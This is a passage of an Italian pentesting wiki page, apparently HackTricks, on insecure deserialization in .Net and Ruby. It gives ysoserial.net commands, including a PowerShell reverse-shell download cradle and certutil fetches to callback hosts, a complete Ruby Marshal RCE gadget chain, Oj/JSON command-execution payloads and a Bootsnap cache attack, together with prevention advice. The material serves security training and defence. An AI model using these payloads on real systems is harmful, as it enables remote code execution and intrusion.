Lo strumento JMET è stato creato per connettersi e attaccare questi servizi inviando diversi oggetti serializzati malevoli usando gadget noti. Questi exploit funzioneranno se il servizio è ancora vulnerabile e se uno qualsiasi dei gadget usati è presente nell'applicazione vulnerabile.

References

.Net

Nel contesto di .Net, gli exploit di deserialization operano in modo simile a quelli trovati in Java, dove i gadget vengono sfruttati per eseguire codice specifico durante la deserializzazione di un oggetto.

Fingerprint

WhiteBox

Il codice sorgente dovrebbe essere ispezionato alla ricerca di occorrenze di:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

L'attenzione dovrebbe essere focalizzata sui serializer che permettono che il tipo sia determinato da una variabile sotto il controllo dell'utente.

BlackBox

La ricerca dovrebbe mirare alla stringa codificata in Base64 AAEAAAD///// o a qualsiasi pattern simile che potrebbe essere deserializzato lato server, concedendo il controllo sul tipo da deserializzare. Questo potrebbe includere, ma non è limitato a, strutture JSON o XML che contengono TypeObject o $type.

ysoserial.net

In questo caso puoi usare lo strumento ysoserial.net per creare gli exploit di deserialization. Una volta scaricato il repository git dovresti compilare lo strumento usando Visual Studio, per esempio.

Se vuoi imparare come ysoserial.net crea il suo exploit puoi controllare questa pagina dove viene spiegato il gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Le opzioni principali di ysoserial.net sono: --gadget, --formatter, --output e --plugin.

  • --gadget usata per indicare il gadget da abusare (indicare la class/function che verrà sfruttata durante la deserializzazione per eseguire comandi).
  • --formatter, usata per indicare il metodo con cui serializzare l'exploit (devi sapere quale libreria usa il back-end per deserializzare il payload e usare la stessa per serializzarlo)
  • --output usata per indicare se vuoi l'exploit in formato raw o base64. Nota che ysoserial.net encoderà il payload usando UTF-16LE (encoding usato di default su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni problemi di compatibilità di encoding che impediranno all'exploit di funzionare correttamente (in una box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma questo non significa che funzionerà sempre).
  • --plugin ysoserial.net supporta plugin per creare exploit per framework specifici come ViewState

More ysoserial.net parameters

  • --minify will provide a smaller payload (if possible)
  • --raf -f Json.Net -c "anything" This will indicate all the gadgets that can be used with a provided formatter (Json.Net in this case)
  • --sf xml you can indicate a gadget (-g)and ysoserial.net will search for formatters containing "xml" (case insensitive)

ysoserial examples to create exploits:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ha anche un parametro molto interessante che aiuta a comprendere meglio come funziona ogni exploit: --test
Se indichi questo parametro, ysoserial.net proverà l'exploit localmente, così puoi testare se il tuo payload funzionerà correttamente.
Questo parametro è utile perché, se esamini il codice, troverai blocchi di codice come il seguente (da ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Ciò significa che, per testare l'exploit, il codice chiamerà serializersHelper.JsonNet_deserialize

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Nell'esempio precedente il codice è vulnerabile all'exploit creato. Quindi se trovi qualcosa di simile in un'applicazione .Net significa che probabilmente anche quell'applicazione è vulnerabile.
Pertanto il parametro --test ci permette di capire quali parti di codice sono vulnerabili all'exploit di deserializzazione che ysoserial.net può creare.

ViewState

Dai un'occhiata a questo POST su come provare a sfruttare il parametro __ViewState di .Net per eseguire codice arbitrario. Se conosci già i segreti usati dalla macchina vittima, leggi questo post per sapere come eseguire codice.

Prevenzione

Per mitigare i rischi associati alla deserializzazione in .Net:

  • Evitare di permettere ai flussi di dati di definire i tipi di oggetti. Utilizzare DataContractSerializer o XmlSerializer quando possibile.
  • Per JSON.Net, impostare TypeNameHandling su None: TypeNameHandling = TypeNameHandling.None
  • Evitare di usare JavaScriptSerializer con un JavaScriptTypeResolver.
  • Limitare i tipi che possono essere deserializzati, comprendendo i rischi intrinseci dei tipi .Net, come System.IO.FileInfo, che può modificare proprietà dei file sul server, potenzialmente portando ad attacchi di denial of service.
  • Prestare attenzione ai tipi con proprietà rischiose, come System.ComponentModel.DataAnnotations.ValidationException con la proprietà Value, che può essere sfruttata.
  • Controllare in modo sicuro l'instanziazione dei tipi per impedire agli attaccanti di influenzare il processo di deserializzazione, rendendo vulnerabili anche DataContractSerializer o XmlSerializer.
  • Implementare controlli di whitelist usando un SerializationBinder personalizzato per BinaryFormatter e JSON.Net.
  • Rimanere informati sui gadget noti per deserializzazione insicura all'interno di .Net e assicurarsi che i deserializer non istanzino tali tipi.
  • Isolare il codice potenzialmente rischioso dal codice con accesso a Internet per evitare di esporre gadget noti, come System.Windows.Data.ObjectDataProvider nelle applicazioni WPF, a fonti di dati non affidabili.

Riferimenti

Ruby

In Ruby, la serializzazione è facilitata da due metodi all'interno della libreria marshal. Il primo metodo, chiamato dump, viene usato per trasformare un oggetto in un flusso di byte. Questo processo è definito serializzazione. Viceversa, il secondo metodo, load, viene impiegato per convertire un flusso di byte nuovamente in un oggetto, processo noto come deserializzazione.

Per proteggere gli oggetti serializzati, Ruby utilizza HMAC (Hash-Based Message Authentication Code), garantendo l'integrità e l'autenticità dei dati. La chiave utilizzata a questo scopo è memorizzata in una delle seguenti posizioni:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Altra catena RCE per sfruttare Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Metodo .send() di Ruby

As explained in this vulnerability report, se un input non sanificato dall'utente raggiunge il metodo .send() di un oggetto Ruby, questo metodo consente di invocare qualsiasi altro metodo dell'oggetto con qualsiasi parametro.

Ad esempio, chiamare eval e poi codice Ruby come secondo parametro permetterà di eseguire codice arbitrario:

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

Inoltre, se solo un parametro di .send() è controllato da un attacker, come menzionato nello writeup precedente, è possibile chiamare qualsiasi metodo dell'oggetto che non richiede argomenti o i cui argomenti hanno valori predefiniti.
Per questo, è possibile enumerare tutti i metodi dell'oggetto per trovare alcuni metodi interessanti che soddisfano questi requisiti.

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Controlla come potrebbe essere possibile pollute a Ruby class and abuse it in here.

Ruby _json pollution

Quando si inviano nel body alcuni valori non hashable come un array, questi vengono aggiunti in una nuova chiave chiamata _json. Tuttavia, è possibile per un attacker impostare nel body un valore chiamato _json con i valori arbitrari che desidera. Quindi, se il backend per esempio verifica la veridicità di un parametro ma poi usa anche il parametro _json per eseguire un'azione, si potrebbe effettuare un bypass di autorizzazione.

Consulta la Ruby _json pollution page per maggiori informazioni.

Altre librerie

Questa tecnica è stata tratta da questo post del blog.

Ci sono altre librerie Ruby che possono essere usate per serializzare oggetti e che quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La tabella seguente mostra alcune di queste librerie e il metodo che viene chiamato della classe caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE):

LibreriaDati in inputMetodo invocato nella classe
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([vedi note riguardo json_create alla fine](#table-vulnerable-sinks))

Esempio di base:

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Nel caso di un tentativo di abuso di Oj, è stato possibile trovare una classe gadget che, all'interno della sua funzione hash, chiamava to_s, che chiamava spec, che a sua volta chiamava fetch_path; è stato possibile far sì che fetch_path recuperasse un URL casuale, offrendo un ottimo rilevatore per questo tipo di vulnerabilità di deserializzazione non sanificate.

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Inoltre, è stato riscontrato che con la tecnica precedente viene anche creato un folder nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in una RCE completa con qualcosa del tipo:

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Per maggiori dettagli, vedi il original post.

Bootstrap Caching

Non è propriamente una vulnerabilità di desearilization ma è un bel trucco per abusare del bootstrap caching per ottenere RCE da un'app Rails con un arbitrary file write (trova il post completo qui: original post in here).

Di seguito un breve riassunto dei passaggi dettagliati nell'articolo per sfruttare una vulnerabilità di arbitrary file write abusando della cache di Bootsnap:

  • Identify the Vulnerability and Environment

    La funzionalità di upload file dell'app Rails permette a un attacker di scrivere file arbitrariamente. Anche se l'app gira con restrizioni (solo certe directory come tmp sono scrivibili a causa dell'uso di Docker con non-root user), questo permette comunque di scrivere nella Bootsnap cache directory (tipicamente sotto tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

    Bootsnap velocizza i tempi di boot di Rails mettendo in cache codice Ruby compilato, YAML e file JSON. Memorizza file di cache che includono un cache key header (con campi come versione di Ruby, dimensione del file, mtime, compile options, ecc.) seguito dal codice compilato. Questo header viene usato per validare la cache durante l'avvio dell'app.

  • Gather File Metadata

    L'attacker seleziona innanzitutto un file target che è probabile venga caricato durante l'avvio di Rails (per esempio set.rb dalla standard library di Ruby). Eseguendo codice Ruby all'interno del container, estrae metadata critici (come RUBY_VERSION, RUBY_REVISION, size, mtime e compile_option). Questi dati sono essenziali per costruire una cache key valida.

  • Compute the Cache File Path

    Replicando il meccanismo di hashing FNV-1a 64-bit di Bootsnap, si determina il corretto percorso del file di cache. Questo passaggio garantisce che il file di cache malevolo venga posizionato esattamente dove Bootsnap se lo aspetta (es. sotto tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

    L'attacker prepara un payload che:

    • Executes arbitrary commands (for example, running id to show process info).
    • Rimuove la cache malevola dopo l'esecuzione per prevenire sfruttamenti ricorsivi.
    • Carica il file originale (es. set.rb) per evitare il crash dell'applicazione.

    Questo payload viene compilato in codice Ruby binario e concatenato con un cache key header costruito con cura (usando i metadata raccolti e il numero di versione corretto per Bootsnap).

  • Overwrite and Trigger Execution

    Usando la vulnerabilità di arbitrary file write, l'attacker scrive il file di cache creato nel percorso calcolato. Successivamente, provoca un restart del server (scrivendo su tmp/restart.txt, che è monitorato da Puma). Durante il restart, quando Rails richiede il file target, il file di cache malevolo viene caricato, causando remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Classi di gadget comuni viste in catene reali: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Tipico marcatore di effetti collaterali incorporato nei payloads (eseguito durante l'unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Dove si manifesta nelle app reali:

  • Store della cache e delle sessioni in Rails che storicamente usano Marshal
  • Backend per background job e object store basati su file
  • Qualsiasi persistenza o trasporto personalizzato di blob di oggetti binari

Scoperta industrializzata di gadget:

  • Eseguire grep per constructors, hash, _load, init_with, o metodi con effetti collaterali invocati durante l'unmarshal
  • Usare le query Ruby di unsafe deserialization di CodeQL per tracciare sources → sinks e far emergere gadget
  • Validare con PoC multi-formato pubblici (JSON/XML/YAML/Marshal)

Riferimenti

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks